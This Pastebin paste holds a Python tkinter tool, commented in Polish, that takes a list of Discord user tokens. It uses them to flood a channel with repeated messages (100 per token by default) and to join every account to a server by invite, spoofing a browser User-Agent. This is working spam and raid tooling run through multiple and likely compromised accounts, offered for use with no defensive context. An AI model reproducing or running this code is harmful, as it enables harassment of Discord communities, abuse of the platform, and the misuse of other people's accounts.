Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ------------ cos zcookowalem ------------
- ----------- dolaczanie do serwerow nie dziala -------------
- import requests
- import tkinter as tk
- from tkinter import messagebox
- # Funkcja do wysyłania wiadomości
- def send_messages():
- payload = {
- 'content': message_entry.get()
- }
- tokens = token_entry.get("1.0", 'end-1c').splitlines()
- channel_id = channel_entry.get()
- for i in range(int(count_entry.get())):
- for token in tokens:
- header = {
- 'Authorization': token, # Poprawka autoryzacji
- 'Content-Type': 'application/json',
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
- }
- r = requests.post(f'https://discord.com/api/v9/channels/{channel_id}/messages',
- json=payload, headers=header)
- if r.status_code == 200:
- print(f"Wiadomość wysłana z tokenu: {token}")
- else:
- print(f"Błąd: {r.status_code}, Token: {token}, Odpowiedź: {r.text}")
- messagebox.showerror("Błąd", f"Nie udało się wysłać wiadomości z tokenu: {token}\n{r.text}")
- # Funkcja do dołączania do serwera
- def join_server():
- invite_link = invite_entry.get().strip()
- tokens = token_entry.get("1.0", 'end-1c').splitlines()
- if not invite_link:
- messagebox.showerror("Błąd", "Kod zaproszenia nie może być pusty!")
- return
- # Wyciąga kod zaproszenia z linku
- if "discord.gg" in invite_link:
- invite_code = invite_link.split("/")[-1]
- else:
- invite_code = invite_link
- for token in tokens:
- header = {
- 'Authorization': token, # Poprawka autoryzacji
- 'Content-Type': 'application/json',
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
- 'X-Context-Properties': 'eyJsb2NhdGlvbiI6IkNyZWF0ZSBTZXJ2ZXIifQ==' # Przykładowy nagłówek
- }
- r = requests.post(f'https://discord.com/api/v9/invites/{invite_code}', json={}, headers=header)
- if r.status_code == 200:
- print(f"Dołączono do serwera za pomocą tokenu: {token}")
- messagebox.showinfo("Sukces", f"Dołączono do serwera za pomocą tokenu: {token}")
- else:
- print(f"Błąd: {r.status_code}, Token: {token}, Odpowiedź: {r.text}")
- messagebox.showerror("Błąd", f"Nie udało się dołączyć do serwera z tokenu: {token}\n{r.text}")
- # GUI
- root = tk.Tk()
- root.title("Discord Message Sender")
- root.geometry("400x500")
- # Etykiety i pola tekstowe
- tk.Label(root, text="Tokeny (jeden na linię):").pack()
- token_entry = tk.Text(root, height=5, width=50)
- token_entry.pack()
- tk.Label(root, text="ID Kanału:").pack()
- channel_entry = tk.Entry(root, width=50)
- channel_entry.pack()
- # Pole na treść wiadomości
- tk.Label(root, text="Wiadomość:").pack()
- message_entry = tk.Entry(root, width=50)
- message_entry.pack()
- # Liczba wysłanych wiadomości
- tk.Label(root, text="Ilość wiadomości:").pack()
- count_entry = tk.Entry(root, width=50)
- count_entry.insert(0, '100') # Domyślna wartość
- count_entry.pack()
- # Pole na kod zaproszenia
- tk.Label(root, text="Kod zaproszenia do serwera:").pack()
- invite_entry = tk.Entry(root, width=50)
- invite_entry.pack()
- # Przycisk do dołączenia do serwera
- tk.Button(root, text="Dołącz do serwera", command=join_server).pack(pady=10)
- # Przycisk uruchamiający wysyłanie
- tk.Button(root, text="Wyślij", command=send_messages).pack(pady=20)
- root.mainloop()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement